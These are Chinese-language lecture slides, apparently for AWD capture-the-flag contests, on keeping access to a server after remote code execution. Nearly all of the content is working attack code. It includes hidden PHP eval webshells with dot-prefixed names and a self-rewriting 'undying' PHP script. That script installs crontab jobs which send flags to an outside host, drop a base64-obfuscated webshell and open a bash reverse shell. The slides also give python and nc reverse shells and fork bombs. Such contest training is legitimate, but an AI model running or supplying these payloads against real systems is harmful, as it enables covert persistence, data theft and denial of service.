AWD（Attack With Defence）模式比赛技巧

第8课 AWD权限维持

写入webshell

植入不死马

反弹目标机shel并获得长期管理权限

发现Rce后的基本思路

写入webshell

webshell和不死马要有伪装性，文件名以.开头。 (config.php)

因为只有la(ls -l)才能看到你这样写的文件

注意密码设置，防止被别人骑马

```
shell_password = md5("fxxk" + str(ip) + "off")
text = "<?php @eval(\$_POST['{}']);".format(shell_password)
```

发现Rce后的基本思路

写入webshell

webshell和不死马要有伪装性，文件名以.开头。 (config.php)

因为只有la(ls -l)才能看到你这样写的文件

注意密码设置，防止被别人骑马

<?php($_=@assert$_GET[x]).@$_($_POST[y])?>

发现Rce后的基本思路

写入不死马

crontab

三重进程守护

发现Rce后的基本思路

·crontab定时任务

·https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html

```
$code1 = "<?php system('echo \"* * * * * curl 192.168.100.1/Getkey | curl 10.0.0.1:3000/flag --data-binary @- \\n* * *
    * * (echo
JTNDJTNGcGhwJTIwaWYlMjhtZDUlMjglMjRfUE9TVCU1QnBhc3MlNUQlMjklM0QlM0QlM0QlMjI4OGYwZDZjMDRmZmY5Y2JhMmFhNzhlNzA1MmFjZTQzZiU
yMiUyOSU3QkBldmFsJTI4JTI0X1BPU1QlNUIlMjdjbWQlMjclNUQlMjklM0IlN0QlM0YlM0U=) | base64 -d > /var/www/html/head.php  \\n*
    * * * * bash -c \\\"bash -i >& /dev/tcp/$myip/$myPort 0>&1\\\" \" | crontab');
if(md5(\$_POST[pass])===\"88f0d6c04fff9cba2aa78e7052ace43f\"){@eval(\$_POST['cmd']);}
";
$code2 = "<?php  define('ROOT_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);require('.log'); ";
$str="echo \"* * * * * (echo Znh4ayUyMG9mZiUwQQ==) | base64 -d >/var/www/html/moyan.txt\" |crontab";
system($str);
```

```
$root = "/var/www/html/";
$file1 = $root.'.log';
$file2 = $root.'.config.php';
```

```
while (1) {
    system('cd /var/www/html/ && touch .log .config.php');
    file_put_contents($file1,$code1);
    file_put_contents($file2,$code2);
    usleep(1000);
}
```

发现Rce后的基本思路

反弹shell

```
$reserve_bash = "bash -c 'bash -i >&/dev/tcp/$myip/$myPort 0>&1'";
```

用python反弹shell

```
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup
2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
```

用nc

```
nc -e /bin/bash 192.168.0.4 7777
```

发现Rce后的基本思路

·https://github.com/WangYihang/Reverse-Shell-Manager

打完之后可以有点娱乐精神，让别人也快乐一下

fork炸弹

fork炸弹以极快的速度创建大量进程(进程数呈以2为底数的指数增长趋势),并以此消耗系统分配予进程的可用空间使进程表饱和，而系统在进程表饱和后就无法运行新程序，除非进程表中的某一进程终止；但由于fork炸弹程序所创建的所有实例都会不断探测空缺的进程槽并尝试取用以创建新进程，因而即使在某进程终止后也基本不可能运行新进程。fork炸弹生成的子程序在消耗进程表空间的同时也会占用CPU和内存，从而导致系统与现有进程运行速度放缓，响应时间也会随之大幅增加，以致于无法正常完成任务，从而使系统的正常运作受到严重影响。

fork炸弹

:(){:|:&};:

fork炸弹

```
:()
{
    :|:&
};
:
```

fork炸弹

```
bomb()

{

    bomb|bomb&

    };

    bomb
```

谢谢观赏